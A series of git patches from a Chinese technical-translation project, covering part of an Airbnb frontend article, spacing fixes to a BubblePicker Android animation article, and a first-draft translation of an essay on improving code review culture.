 ![](https://cdn-images-1.medium.com/max/800/1*VMRwDmHVeYC3YnJhhtKn4Q.gif)
 
-Transitioning between routes for a broad search
+用于一个广泛搜索的路由间的过渡
 
-Rather than navigating from our landing page at [www.airbnb.com](http://www.airbnb.com) (1) to a search results page (2) to a single listing (3) to the booking flow (4)— *each page delivered standalone via Rails* — we want the user experience to be fluid, adjusting what the user is experiencing as they explore and narrow their search.
+我们希望用户体验流畅，要去斟酌用户在浏览页面和缩小搜索范围时遇到的内容，而不是从 [www.airbnb.com](http://www.airbnb.com) 着陆页导航，（1）访问一个搜索结果页，（2）访问一个单一列表页，（3）访问预订流程，（4）**每个页面都由 Rails 单独传送**。
 
 ![](https://cdn-images-1.medium.com/max/800/1*epBwi0kxrcW5a6Wv-T4rSg.gif)
 
-Designs exploring search from three states: New User, Returning User, and Marketing Marquee
+设计三种浏览搜索页的状态：新用户，老用户，和营销页。
+
+在标签页之间切换和与列表进行交互应该感到惬意而轻松。事实上，如今没有什么可以阻止我们致力于在中小屏幕上提供与本地应用相符的体验。
 
-Navigating across tabs and interacting with listings should feel luxurious and effortless. In fact, today there is nothing stopping us from delivering an experience on par with native applications on small and medium screens.
 
 ![](https://cdn-images-1.medium.com/max/800/1*y_gKoEDVvBvJpGq7hfcr_g.gif)
 
-Future concept for navigating between tabs, considering async-loaded of content
+再标签页之间切换的未来概念，考虑异步加载内容
 
-To tee up this type of experience, we needed to break free of the legacy page-by-page approach that got us here, and in the end we wound up with a fundamental rearchitecting of our Frontend code.
+要开发这种类型的体验，我们需要摆脱传统的页面切换方法，最后我们结束了对我们的前端代码的基本重构。
 
-[Leland Richardson](https://medium.com/@intelligibabble) [recently spoke at React Conf about React Native in the “brownfield” of an existing, high traffic native application](https://www.youtube.com/watch?v=tWitQoPgs8w) . This article will examine how we undertook a dramatic upgrade with similar constraints, but on the web. Hopefully you find it useful if you find yourself in a similar place!
+[Leland Richardson](https://medium.com/@intelligibabble) [最近在 React Conf 大会上发表了关于 React Native 的存在于高访问量 native 应用中的“褐色地带”。 ](https://www.youtube.com/watch?v=tWitQoPgs8w)。这篇文章将会探讨如何在类似的约束下进行强制性升级，不过是在 web 端。如果你遇到类似的情况，希望对你有帮助。
 
-### Breaking Free from Rails ###
+### 从 Rails 之中解脱 ###
 
 Before firing up the barbecue for all the fun [Progressive Web App](https://developers.google.com/web/progressive-web-apps/) work on our roadmap, we needed to separate from Rails (or at least the way we use Rails at Airbnb in delivering standalone pages).
 

From 2b315ef1c53f7c1d157eb30f0e6f45276d7bb170 Mon Sep 17 00:00:00 2001
From: hackerkevin <hackerkevin@users.noreply.github.com>
Date: Thu, 18 May 2017 19:24:26 +0800
Subject: [PATCH 491/638] Update
 how-we-created-bubblepicker-a-colourful-animation-for-android.md

---
 ...reated-bubblepicker-a-colourful-animation-for-android.md | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md b/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
index 965372adc4b..9d5d7eede45 100644
--- a/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
+++ b/TODO/how-we-created-bubblepicker-a-colourful-animation-for-android.md
@@ -14,7 +14,7 @@
 
 最近，为了跟上跨平台风格的步伐，我们受 Apple music 上气泡动画的启发，用 Android 动画实现了一份。我们设计了一个接口，使得初学者也可以方便的使用，而且也让有经验的开发者觉得有趣。
 
-使用 [BubblePicker](https://github.com/igalata/Bubble-Picker)能让一个应用更加的聚焦内容、原汁原味和有趣。尽管 Google 已经对它所有的产品推出了材料设计语言，但是我们依然决定在此时尝试大胆的颜色和渐变的效果，使得图像增加更多的深度和体积。渐变可能是界面显示最主要的视觉效果，也可能会吸引到更多的人使用。
+使用 [BubblePicker](https://github.com/igalata/Bubble-Picker) 能让一个应用更加的聚焦内容、原汁原味和有趣。尽管 Google 已经对它所有的产品推出了材料设计语言，但是我们依然决定在此时尝试大胆的颜色和渐变的效果，使得图像增加更多的深度和体积。渐变可能是界面显示最主要的视觉效果，也可能会吸引到更多的人使用。
 
 ![](http://images.yalantis.com/w736/uploads/ckeditor/pictures/2328/content_1_gradients.jpg)
 
@@ -303,11 +303,11 @@ GLSurfaceView 拦截所有的触摸事件，渲染器处理它们：
 
 这是我们第一版 Bubble Picker，而且还将进一步完善。其他开发者可以自定义泡泡的物理行为，并指定 url 将图片添加到动画中。而且我们还将添加一些新的特性，比如移除泡泡。
 
-请将你们的实验发给我们，让我们看到你是如何使用 Bubble Picker的。如果对动画有任何问题或建议，请告诉我们。
+请将你们的实验发给我们，让我们看到你是如何使用 Bubble Picker 的。如果对动画有任何问题或建议，请告诉我们。
 
 我们会尽快发布更多干货。 敬请关注！
 
-戳这里进一步查看[BubblePicker animation on GitHub](https://github.com/igalata/Bubble-Picker) 和 [BubblePicker on Dribbble](https://dribbble.com/shots/3349372-Bubble-Picker-Open-Source-Component)。
+戳这里进一步查看 [BubblePicker animation on GitHub](https://github.com/igalata/Bubble-Picker) 和 [BubblePicker on Dribbble](https://dribbble.com/shots/3349372-Bubble-Picker-Open-Source-Component)。
 
 ---
 

From 00169fa1693546aa683442a57f6850accff269f4 Mon Sep 17 00:00:00 2001
From: "Yuze.Ma" <584653629@qq.com>
Date: Thu, 18 May 2017 21:09:49 +0800
Subject: [PATCH 492/638] First draft

First draft
---
 TODO/crafting-better-code-reviews.md | 202 ++++++++++++++-------------
 1 file changed, 107 insertions(+), 95 deletions(-)

diff --git a/TODO/crafting-better-code-reviews.md b/TODO/crafting-better-code-reviews.md
index e81e90dee1b..369d3d34cf4 100644
--- a/TODO/crafting-better-code-reviews.md
+++ b/TODO/crafting-better-code-reviews.md
@@ -1,223 +1,235 @@
 > * 原文地址：[Crafting Better Code Reviews](https://medium.com/@vaidehijoshi/crafting-better-code-reviews-1a5fc00a9312)
 > * 原文作者：[Vaidehi Joshi](https://medium.com/@vaidehijoshi)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：bobmayuze
 > * 校对者：
 
-# Crafting Better Code Reviews #
+# 建立更好的代码审查制度 #
 
-*Adapted and reworked from a talk originally given at RailsConf 2017.*
+*来自Rails 2017开发者大会中的一段演讲*
 
-The intersection between humans and technology has never been simple or easy. This truth is particularly evident when it comes to the humans who *create* technology. As a human who also happens to write code for a living, I feel this the most during the code review process.
+人与科技之间的交互部分总是那么忽明忽暗，难以捉摸。对于以 *开发科技产品* 为职业的人来说，更是如此。作为一个资深码农，我在代码审查的时候对于这一点的感触特别明显。
 
-Most developers tend think of their code as a craft and — as seems to be the case with artists and most creators of all kinds — we become incredibly attached to our code. We’ve been told to be [egoless programmers](https://blog.codinghorror.com/the-ten-commandments-of-egoless-programming/), to critique not just our own code, but every single line of code that crosses our desk, as it waits to be merged into a project’s codebase. We’ve heard that having our own code reviewed by our peers and reviewing the code of our colleagues are both Very Good Things™, that [we should all be doing](https://blog.codinghorror.com/code-reviews-just-do-it/) . And a good many of us already happen to be doing all of these highly-recommended things.
+大多数开发者们习惯于把他们的代码看成一种艺术品，就好比画家看待自己的画一样，我们的代码总是和我们有着密不可分的关系。一直以来，我们都被教导说要做一个[无私奉献](https://blog.codinghorror.com/the-ten-commandments-of-egoless-programming/)的码农，能够在审查自己的代码的同时也能审查同事们写出来的代码。其实我们都知道这样的审查是对大家都有利的事,是一件[我们都应该做的事情](https://blog.codinghorror.com/code-reviews-just-do-it/)，而且很多人都一直在做这件事。
 
-But when was the last time we evaluated these methodologies? Are any of us sure that our code review processes are actually *working*? Are we certain that they’re serving the roles that they were originally intended to fill?
+但是谁还记得上一次我们衡量这些方法论是什么时候？我们真的能保证我们的代码审查制度是 *有效* 的吗？我们能够保证我们的代码审查制度不忘初心吗？
 
-And if not: how can we try and make them better?
+如果答案是不，那我们如何才能解决这个问题呢？
 
 ![](https://cdn-images-1.medium.com/max/800/1*INwRDJ_vspfJKkyFpv5jww.png)
 
 © geek & poke, [http://geek-and-poke.com](http://geek-and-poke.com)
 
-### Why even *bother* with review? ###
+### 避免和代码审查*过不去* ###
 
-Before we can really understand the *practical* benefits of peer code review, it’s helpful to know why they even started in the first place. There has been a decent amount of [research](https://en.wikipedia.org/wiki/Code_review#References) around code review best practices, but I think that Steve McConnell’s research in [*Code Complete*](https://www.amazon.com/Code-Complete-Practical-Handbook-Construction/dp/0735619670) (originally published in 1993) is a good place to start.
+
+在我们能真正完全理解代码审查的实际意义和好处之后，我们就能知道为什么会有代码审查这个传统了。网上有大量的有关代码审查的[研究](https://en.wikipedia.org/wiki/Code_review#References) ，但是我认为Steve McConnell在1993年发表的[*Code Complete*](https://www.amazon.com/Code-Complete-Practical-Handbook-Construction/dp/0735619670) 这个才是一个比较适合我们开始讨论的地方。
 
 In his book, he describes code reviews, and what function they *ought* to serve. He writes:
+在他的书中，对于代码审查制度*应该有*的功能描述，他写下了下面这些话：
 
-> One part of managing a software-engineering process is catching problems at the “lowest-value” stage — that is, at the time at which the least investment has been made and at which problems cost the least to correct. To achieve such a goal, developers use “quality gates”, periodic tests or reviews that determine whether the quality of the product at one stage is sufficient to support moving on to the next.
+> 管理软件工程的一个重点就是找出在“最低价值”的问题。换句话说，就是找出最容易解决的问题。为了达到这样的一个预期，我们可以使用“质量门”这样一个理念，也就是周期性的测试或者审查来决定是否应该进行到开发的下一阶段。
 
-The most powerful aspect of McConnell’s case for code review on every single team is the way that he ties it back to something he terms the “Collective Ownership in Construction”: the idea that all code is owned by a group of contributors, who can each equally access, change, and modify the collectively-owned project.
+McConnell的代码审查研究中最重要的理念就是代码集体拥有制度。具体就是所有代码都是被一组贡献者们所拥有的，这些贡献者们能平等的对代码进行查看和更改。
 
-> The original intent behind code reviews was that they would help us take collective ownership in the creation of our software. In other words, we’d each be stakeholders in our development process by having a hand in controlling the quality of our products.
+> 代码审查制度最初是为了帮助我们共同维护一个软件。换句话说，就像我们同时持股一家公司时我们会做质量检测以确定产品的可行性。
 
-McConnell goes on to highlight a few different types of code review processes that an engineering team can adopt into their everyday workflows. I strongly recommend that you pick up a copy of *Code Complete* and learn more about each of these techniques; for our purposes, however, a summary will suffice. There are three formats for a code review:
+McConnell在他的书中提出了很多种不同的代码审查制度的方式和流程，这些方式都可以被任何一个团队采用在日常的工作流当中。强烈推荐McConnell的 *Code Complete* ，真的非常赞。但是这边的话我们就简短的说3种来帮助理解。
 
-#### **1. Inspections** ####
+#### **1. 3人审查制度** ####
 
-Inspections are longer code reviews that are meant to take approximately an hour, and include a moderator, the code’s author, and a reviewer.
+3人审查制度是一个比较长的审查流程，耗时基本都在1小时左右。整个流程会包括一个公司的把关人（扛把子），代码作者（程序猿），和一个审查员（产品狗）。
 
-When used effectively, inspections typically catch about *60% of defects* (either bugs or errors) in a program. According to McConnell’s research, inspections result in *20–30% fewer defects per 1000 lines of code* than less formalized review practices.
+当大家能正确打开这个审查制度的时候，研究表明这个审查可以抓住一个程序 *60%的问题* 。根据McConnell的研究，相比于不怎么流程化的代码审查，这个制度平均每1000行代码能减少20%到30%的错误。
 
-#### **2. Walkthroughs** ####
+#### **2. 带着一起过** ####
 
-A walkthough is a 30–60 minute working meetings, usually intended to provide teaching opportunities for senior developers to explain concepts to newer programmers, while also giving junior engineers the chance to push back on old methodologies.
+这个方式的话大概是30~60分钟，通常用于来帮助初级程序员们在一家公司中理解一些技术性难题，同时也能让高级开发人员们回顾旧的方法论。
 
-Walkthroughs can sometimes be very effective, but they’re not nearly as impactful as a more formalized code review process, such as an inspection. A walkthrough can usually reveal *20–40% of errors* in a program.
+带着新人一起过的话有时候还蛮高效的，但是这个方式的话就不像上面那个3人审查一样流程化。这样的一个代码审查大概能检测到程序中20%到40%的问题。
 
-#### **3. Short code reviews** ####
+#### **3. 审查小片段** ####
 
-Short reviews are, as their name would suggest, much faster; however, they are still very much in-depth reviews of small changes, including single-line changes, that tend to be the most error-prone.
+就想这个名字一样，这种审查非常短。但是这都是很有深度的审查，还蛮难的。有时候可能就是更改了1行代码，但是会引起大量的问题。
 
-McConnell’s research uncovered the following about shorter code review:
+McConnell的研究发现了下面这些有关于审查小片段的事实：
 
-> An organization that introduced reviews for one-line changes found that its error rate went from 55 percent before reviews to 2 percent afterward. A telecommunications organization in the late 80’s went from 86 percent correct before reviewing code changes to 99.6 percent afterward.
+> 一个专门针对单行修改代码审查的机构发现在进行代码审查后代码报错率从55%下降到了2%。一个在80年代晚期的通讯机构代码正确率在审查后从80%上升到了99.6%。
 
-The data — at least McConnell’s *subset* of collected data — seems to suggest that every software team should be conducting *some* combination of these three types of code reviews.
+McConnell的一组组数据似乎在告诉我们作为一个开发团队我们应该构造一些这三种代码审查的融合来进行开发的推进。
 
-However, McConnell’s book was first researched and written back in 1993. Our industry has changed since then and, arguably, so have our peer review methodologies. But are our implementations of code review today actually effective? How are we putting the *theory* behind code reviews into *practice*?
+然而，McConnell的书是在1993年写的。时至今日，我们的工作流程早就已经更新换代了，同事之间互相检查的方法论也随之更新。但是我们现在对于代码审查的构造足够合理完整吗？我们应该如何把*理论*上的东西运营到*实际*中去？
 
 To find the answer to these questions, I did what any determined (but a little unsure of where to start) developer would do: I asked the Internet!
+为了解答我的问题，我做了大多数码农会做的事：Google一下
 
 [![Markdown](http://i4.buimg.com/1949/4bcc14c27f51262e.png)](https://twitter.com/vaidehijoshi)
 
-Well, okay — I asked Twitter.
+好吧，并没有什么卵用，那我来看看推特。
+
+### 程序猿们如何看待代码审查 ###
+
 
-### What do developers think of code reviews? ###
+在我对这个调查进一步阐述之前，我想先说点什么：*我不是一个数据科学家* （我希望我是，但是我也许在处理这篇文章反馈的时候能更加得心应手，或许我连在R语言里画个图都困难）。还有一点，就是说我的数据集其实是非常有限的。首先这个数据是我自己在推特上选过来的，然后的话数据是来自一个基于 branch/pull request的团队的。
 
-Before I dive into the results of the survey, a quick disclaimer: *I am not a data scientist.* (I wish I were, because I’d probably be a lot better at analyzing all of the responses to this survey, and maybe I’d even be halfway-decent at plotting graphs in R!). Ultimately, this means is that my dataset is limited in *many* ways, the first of which being that it was a self-selecting survey on Twitter, and the second being the fact that the survey itself presupposed a branch/pull request based team.
+好，那么重点来了：*程序猿们是到底如何看待代码审查的？*
 
-Okay, now that we have that out of the way: *what do developers think of code reviews?*
+#### 量化的数据 ####
 
-#### The quantitative data ####
+让我们先来看看这组已经量化的数据。
 
-We’ll try to answer this question by looking at the quantitative data to start.
+首先，这个问题的答案很大程度上取决于你问了*哪个*程序猿。在我写这个报告的时候，我已经收到超过500条回复了。
 
-First off, the answer to this question depends a lot on *which* developers you ask. At the time that I am writing this, I have received a little over 500 responses to my survey.
+下面是一些根据工作时用的语言分类的结果，包括了JS，JAVA，还有Ruby。
 
-The developers who responded primarily worked in Java, Ruby, or JavaScript. Here’s how those responses break down in terms of developers and the primary language that they and their team work in.
 
 ![](https://cdn-images-1.medium.com/max/600/1*hiGuGx5OvayL4dPu1tSC4w.png)
 
 I asked every respondent to the survey to what extent they agreed with the statement: *Code reviews are beneficial to my team*.
+根据我一个个问完之后，大家都认为 *代码审查对于团队是有好处的* 。
 
-Overall, Swift developers found code reviews the *most* beneficial to their teams, averaging a 9.5 on a scale of 1–10, where 1 was *strongly disagree*, and 10 was *strongly agree*. Ruby developers came in a close second, averaging about 9.2.
+总的来说，从1分到非常不认可，10分非常认可，Swift开发团队给代码审查认可度打了9.5/10的高分。Ruby开发团队第二，打出了9.2的高分。
 
 ![](https://cdn-images-1.medium.com/max/800/1*1zSl-fd9hygIBzxp52yHOQ.jpeg)
 
-While the majority of survey respondents (approximately 70%) stated that all pull requests were reviewed stated that every single pull request was reviewed by someone on the team before being merged, this wasn’t the case on all teams. About 50 respondents (approximately 10% of the entire dataset) stated that pull requests were only peer reviewed in their teams when a review was *requested* by them.
+当70%的受调查者告诉我他们的pull request在被merge之前会由团队里的其他人来检查时，有10%的受访者（大概50个）告诉我的说他们的pull request只有在自己要求进行代码审查的时候才会进行代码审查。
 
 ![](https://cdn-images-1.medium.com/max/800/1*fVl3H0KGsauN1Bxs_jsN7A.jpeg)
 
-The data seemed to suggest that this distribution, for the most part, carried across languages and frameworks. No one single language seemed to have an overwhelmingly different result in terms of whether all pull requests were reviewed, or if reviews had to first be requested. In other words, it would appear that it is not the language or the framework that results in a more consistent code review culture, but more likely, the team itself.
+这张图片通过不同语言阐明了代码审查的深度。总的来说，每个语言直接没有差很多。换句话来说，决定代码审查的的深度和频率和你用什么语言没有关系，重点在于你在什么样的一个团队。
 
 ![](https://cdn-images-1.medium.com/max/800/1*jFZ_2zCzHM78m_L_p0OK8A.jpeg)
 
-Finally, for those developers who were working on teams that *did* require for pull requests to be reviewed before being merged, it appeared that the majority of teams only needed one other person to peer review before merging code into the shared codebase.
+最后，对于那些当有要求进行代码审查才会进行审查的团队来说，大部分通常只有1个人在代码merge到主程序之前审查这个代码。
 
 ![](https://cdn-images-1.medium.com/max/800/1*KsuH1lurvkf5wpoXZ2queQ.png)
 
-#### The qualitative data ####
+#### 定性描述的数据 ####
 
-So what about the *unquantifiable* stuff? In addition to multiple choice questions, the survey also allowed respondents to fill in their own answers. And this is where the results actually proved to be the most *illuminating*, not to mention the most useful.
 
-There were a few overarching themes that popped up repeatedly in the anonymized responses.
+那么对于那些不可量化的东西来说，我们能知道什么呢？在多项选择题之外，这个调查同时也能够让受访者填写他们自己的答案。这一部分也是这个调查最重要的一部分，最能*说明问题*的一部分。
 
-> Ultimately, what seemed to make or break a code review experience depended upon two things: how much energy was spent during the review process, and how much substance the review itself had.
+这写回答具体聚焦在如下几个重点。
 
-A code review was bad (and left a bad taste in the reviewer’s and reviewee’s mouth) if there wasn’t enough energy spend on the review, or if it lacked substance. On the other hand, if a code review process was thorough, and time was spent reviewing aspects of the code in a substantive way, it left a much more positive impression overall on both the reviewer and the reviewee.
 
-But what do we mean by *energy* and *substance*, exactly?
+> 总的来说，对于代码审查制度有很大关系的有两个因素：执行代码审查所需要消耗的资源和代码审查这一流程的可持续性。
 
-#### Energy ####
+一个非常耗资源和可持续性很差的代码审查会让一个代码审查变得非常差劲。如果一个代码审查不是非常消耗资源，然后可持续性也很高的话，这会给审查者和受审查者双方都留下一个非常好的印象。
 
-Another way of determining the **energy behind a code review** is by answering the question: *Who all is doing the review?**And how much time are they spending on it?*
+但是我们这里说的资源，和可持续性到底指什么呢？
 
-A lot of respondents were conducting code reviews, but many seemed to be unhappy with who was doing them, and how much time they ended up spending while reviewing — or waiting to be reviewed.
+#### 资源 ####
 
-Below are just a few of the anonymized responses to the survey:
+另一种来找出一个代码审查*到底消耗了多少资源*的方法是问自己这样的问题：*谁在执行这个流程*以及他们花了多少时间来执行这个流程？
 
-> We have one dev who just blindly thumbs-up every PR and rarely leaves comments. That person is attempting to game the rule of “at least two approvals”. It is easy to tell, because inside of one minute they will suddenly have approved 5–6 PRs.
+大量的受访者们都是很有生产力的代码审查员，但是大家都表示对于团队里执行这个环节的人不爽，以及对于等待他们的代码被审查时花费的大量时间表示不爽。
 
-> I find that the 2nd or 3rd reviewer is often more likely to rubber stamp after seeing one approval.
+下面是一些匿名的反馈：
 
-> There have been times when the same code has been reviewed differently depending on who submits the PR.
+> 我们有一个开发人员只是盲目的给每个PR一个赞然后都不怎么留评论。我可以告诉你这是真的因为他们1分钟能看5到6个PR。
 
-> Everyone on the team should receive equal review. I feel like it’s so common for senior people to get no feedback because people assume they can do no wrong but they totally can, and might want feedback. And junior people get nit picked to death… remember people’s self esteem is likely to be affected and they’re being vulnerable.
+> 我发现第二个或者第三个的审查者大多数都是在打酱油。
 
-> Commits are too big, so PR’s take long to review. People don’t check out the branch locally to test.
+> 有时候相同的代码审查的结果会根据不同的提交者而不同。
 
-> Especially long PR’s take longer to be reviewed, which is an issue because they have the most effect on future branches/PRs/merges.
+> 团队里的每个人应该受到相同的对待。高级工程师也会犯错，而且他们也希望有人能提出来。初级工程师也不能被各种黑。人呐，总是会被事物有偏见。
 
-The overarching takeaways when it came to *how**much* energy was being spent (or not spent) on a code review boiled down to three things:
+> Commits太长了，导致PR需要很久去审查。人们不会先在本地去测试一下代码。
 
-1. No one feels good about a code review process that’s just a formality & doesn’t carry any weight.
-2. It’s not fun to review a long PR with code that you’re unfamiliar with, or have no context for.
-3. To err is human, and we’re all human. We should all be reviewed, and review others fairly.
+> 长长的PR总是花费大量的时间，然后这个PR还对将来的特性有重要的影响。
 
-#### Substance ####
+各位码农对于代码审查和消耗的消耗资源的关系评论归类之后主要有以下三点：
+
+1. 大家都对代码审查不爽，而且觉得没什么卵用。
+2. 审查一个你不熟悉的代码很不爽。
+3. 错误都处在人身上，我们都是人。我们应该平等的对待，不能因为谁是老大就说他/她写的代码没有问题。
+
+#### 可持续性 ####
 
 The **substance of a code review** boils down to the answer to one question question: *What exactly is someone saying, doing, or making another person feel while they review their code?*
+*代码审查可持续性*主要被以下几个因素影响：执行代码审查的时候执行者到底*说了什么，做了什么，让被审查者有什么样的感受*
 
-The responses connected to the substance of a code review were, for the most part, grounded in what people were saying in their reviews, and how they were saying it.
+重点还是在于大家说了什么以及说话的方式.
 
-Here are a few of the anonymized responses from the survey:
+让我们来看看大家的吐槽吧：
 
-> I take any feedback on PR’s at face value. If changing that string to a symbol will make you happy, let’s do that and move on. I’m not going to try and justify an arbitrary decision. It’s not unlike working in an IDE environment, it’s very easy for my brain to fall into a “see red squiggle, fix red squiggle” mindset. I don’t really care why it’s upset, just make it stop yelling at me.
+> 面对PR的时候，我觉得你要是不喜欢变量名就直接改，我觉得这个不是最重要的，这完全是个人喜好嘛！就像在IDE里一样，我很容易就被搞蒙了。我不关心为什么不开心，让这个东西停止报错就好，不停叫真的不能忍。
 
-> Do not do big picture or architectural critiques in a review. Have offline conversations. Too easy to send folks down a rabbit hole and create frustration.
+> 不要在公开场合说思想上的大错误。在线下有个友善的对话会非常有帮助。直接PR上说会让人很爽，最后弄得大家都不愉快。
 
-> I feel pretty strongly that it’s annoying when people demand changes, especially if they don’t take the time to explain why they’re doing so, or leave room for the possibility that they’re wrong. Especially when people just rewrite your code in a comment and tell you to change to their version.
+> 当需求不停的改的时候我非常难过，特别是他们不向我解释为什么更改了需求的时候，或者留下他们犯错的可能性。特别是当别人告诉你改写你的代码成为他们的版本的时候，你简直难过的想要抱抱。
 
-> If a comment thread is getting long, it’s an indication a verbal conversation should be had (report the consensus back in the comment thread)
+> 当一个回复过长的时候，我们不如去进行一次线下的交流。
 
-> People need to do better jobs distinguishing between their own stylistic preferences and feedback that makes a functional difference. It can be tough for a more junior person to figure out which is which. It’s also frustrating when multiple seniors give conflicting feedback (e.g. What to call a route and why).
+> 我觉得对于个人喜好问题和功能是否能正常运作完全是两个问题。对于初级工程师来说，这是非常难分辨的。有时候几个高级工程师给出不同的反馈的时候更加懵逼。
 
 The main themes when it came to the *substance* of a code review could be summarized into the following:
+总的来说，代码审查的重点有一下几个：
+
+1. 反馈过度注重语法和习惯的问题，导致让双方都非常不爽。代码习惯与风格和代码功能错误根本就是两回事儿。
+2. 说话方式也很重要。过激的语言会打消对方的自信心，对团队也不是好事。
 
-1. Comments nitpicking purely at syntax lead to a negative experience. Style and semantics are not the same thing. (Interestingly, 5% of respondents used the word ***nitpick***to describe code review comments in a negative context.)
-2. The words we use to review one another’s code really do matter. An unkind review can break someone’s self-confidence.
+### 我们如何能够做的更好？ ###
 
-### How do we do better? ###
 
-Although this data may not be the most complete, full, or even the most *accurate* representation of our industry’s code review culture, there is one thing that seems like a fair claim to make: we could all stand to revisit our code review processes on our teams and within the larger community.
+也许这些数据不能我们最完整，最细致，或者最精准的代表我们代码审查的结构，但是我们还是能学到一些东西：我们能够回顾并检查我们团队的甚至整个社区的代码审查流程。
 
-This anonymous survey response highlights the immense impact that a review process can have on members of an engineering team:
+下面的匿名调查告诉了我们代码审查对于一个团队成员的影响是怎么样的：
 
-> A bad code review almost made me leave the company. A great code review leaves me feeling better equipped to tackle future projects.
+> 一个非常差劲的代码审查让我几乎决定离职。一个优秀的代码审查流程会让我有信心面对将来更加困难的项目。
 
-Indeed, having *some* sense of a formalized code review is incredibly beneficial and statistically powerful; both Steve McConnell’s research and this small survey both seem to support this fact. But, it’s not just enough to implement a code review culture and then never think about it again. In fact, a code review process where members of a team are simply going through the actions of reviewing can be detrimental and discouraging to the team as a whole.
+确实，有一个流程化的代码审查制度*似乎*是非常有效且能帮助团队快速成长的；Steve McConnell和这篇文字的调查都证明了这一点。但是，单纯的重构代码审查流程然后永远不改是远远不够的。事实上，代码审查的流程应该根据整个团队的情况来更改以保证团队的生长。
 
-> Instead, it is the act of introspection, reflection, and reevaluation of our collective code review culture that will allow us to build upon any kind of formalized review process we might have.
+> 与直接采用一个代码审查方式不同的是，我们需要重新思考我们的代码审查流程并且流程化工作来帮助我们面对以后的可能遇到的问题。
 
-In other words, it’s the act of asking ourselves whether our code reviews are effective, and whether they’re making a difference — both on the entire team, as well as the individuals who form it.
+换句话说，重点在于我们能够思考我们的代码审查是否足够有效，是否能对于团队和个人同时产生好处。
 
-#### Easy ways to improve your code review process ####
+#### 一些提高代码审查的小技巧 ####
 
-There are a few ways to immediately make the code review process more painless and enjoyable for your team. Here are a few things to help you get started:
+这边是一些能够快速帮助提高代码审查感受的一些技巧：
 
-- Implement [linters](https://github.com/showcases/clean-code-linters) or a code analyzer (if available) in order to eliminate the need for syntactical comments on a pull request.
-- Use [Github templates](https://quickleft.com/blog/pull-request-templates-make-code-review-easier/) for every pull request, complete with a checklist to make it easy for the author of the code and the reviewer to know what to add, and what to check for.
-- Add screenshots and detailed explanations to help provide context to teammates who might not be familiar with the codebase.
-- Aim for small, concise commits, and encapsulated pull requests that aren’t massive in size, and thus much easier and quicker to review.
-- Assign specific reviewers to a PR — more than one, if possible. Make sure that the role of reviewing is equally distributed amongst engineers of each and every level.
+- 使用 [linters](https://github.com/showcases/clean-code-linters) 或者其他的代码构成器来避免PR时的语法格式问题。
+- 使用 [Github 的模板](https://quickleft.com/blog/pull-request-templates-make-code-review-easier/)来生产每个PR。在发PR的时候带上更改列表对于作者和审查者都非常有帮助。
+- 在发PR的时候可以加个截图来帮助那些不是很熟悉的人理解问题。
+- 提高commits的信息量，尽量语言短小精湛。
+- 对于每个PR钦定审查者，如果可能的话人多于一个比较好。确定代码编写和审查的分配对于各个等级的工程师来说是均衡的。
 
-#### The harder things — but the most important ####
+#### 很难做到但是非常重要的事情 ####
 
-Once you’ve picked off some of the low-hanging fruit, there are some bigger changes you can help bring about, too. These are actually the most important things to do if you want to change your code review culture.
+当你已经代码审查入门之后，这里是一些更加重要的东西。事实上，对于重构代码审查流程来说，这里的东西是最重要的。
 
-And, let me warn you: that’s probably what makes them so hard.
+警告：前方高能，内容可能有一定难度
 
-- ***Develop a sense of empathy on your team.*** The greatest burden of making this happen falls on the shoulders of senior, more experienced engineers. Build empathy with people who are newer to the team or the industry.
+- ***能够理解你的团队。*** 这项任务一般都由高级工程师们来承担，希望大家对于新人们能多多帮助。
 
 [![Markdown](http://i1.piimg.com/1949/36f270199929bb1e.png)](https://twitter.com/sarahmei)
 
-- ***Push for a culture that values vulnerability — both in actions and in words.*** This means reevaluating the language used in pull request comments, identifying when a review is on track to turn into a downward spiral, and determining when to take conversations offline, rather than questioning the author of the code publicly.
+- ***更加委婉的交流。*** 这意味着在发评论之前思考自己的言行是否妥当，是否会让其他人很不爽。在公众下批评别人是一件非常不好的事情。相比，有个私人对话会好很多。
 
 [![Markdown](http://i1.piimg.com/1949/51bfec74a7cf1e42.png)](https://twitter.com/j3)
 
-- ***Have a conversation.*** Sit your team down, start a Slack channel, create an anonymized survey — whichever fits your group’s culture best. Have the conversation that will make everyone comfortable enough to share whether they are each happy with the current code review process, and what they wish the team did differently.
+- ***进行一次口头交流。*** 带着整个团队坐下来，到slack（美国的一种团队交流软件）上开个新的频道，让大家能够匿名的交流（选择最适合的即可）。在匿名的情况下大家都愿意说真话。
 
-I saved the most important one for last because, honestly, if you’ve stuck with me and read this far, you must really want to change the status quo. And that really *is* a Very Good Thing™! Ultimately, though, having the conversation with your team is the most important first step to take in making that change happen.
+我把最重要的一点放在最后，因为当你还有耐心读到这里的时候，说明你真的想要更改一下你们的代码审查结构了，这是个好事儿。团队交流真的非常重要，这几乎是每个团队必须跨出的一步如果他们想要提升代码审查制度的话。
 
-This survey response summarizes why, far better than I ever could:
+下面这句话基本上包括了我最想说的：
 
-> I love code reviews in theory. In practice, they are only as good as the group that’s responsible for conducting them in the right manner.
+> 理论上来说，我很喜欢代码审查。事实上，这个东西取决于构建这个流程的团队。
 
-#### Resources ####
+#### 更多链接 ####
 
-If you’d like to view a larger collection of curated, anonymized survey responses, you can view the website that accompanies this project:
+如果你想看一个更加大的匿名的反馈，你可以看下面这个有关于这个项目的网站：
 
 [![Markdown](http://i1.piimg.com/1949/2b892fa3a6988b39.png)](http://bettercode.reviews)
 
-#### Acknowledgements ####
+#### 感谢 ####
 
-First and foremost, I’m deeply grateful to the hundreds of developers who took the time and effort to answer my survey.
+首先我很想感谢一路上一直支持我的工程师朋友们，感谢你们的答案和接受我的调查。
 
 A huge thank you to [Kasra Rahjerdi](https://medium.com/@jc4p), who helped me analyze the responses to my survey and created many of the graphs in this project.
+非常感谢 [Kasra Rahjerdi](https://medium.com/@jc4p) 帮我整理反馈并且生成那么多的图像。
 
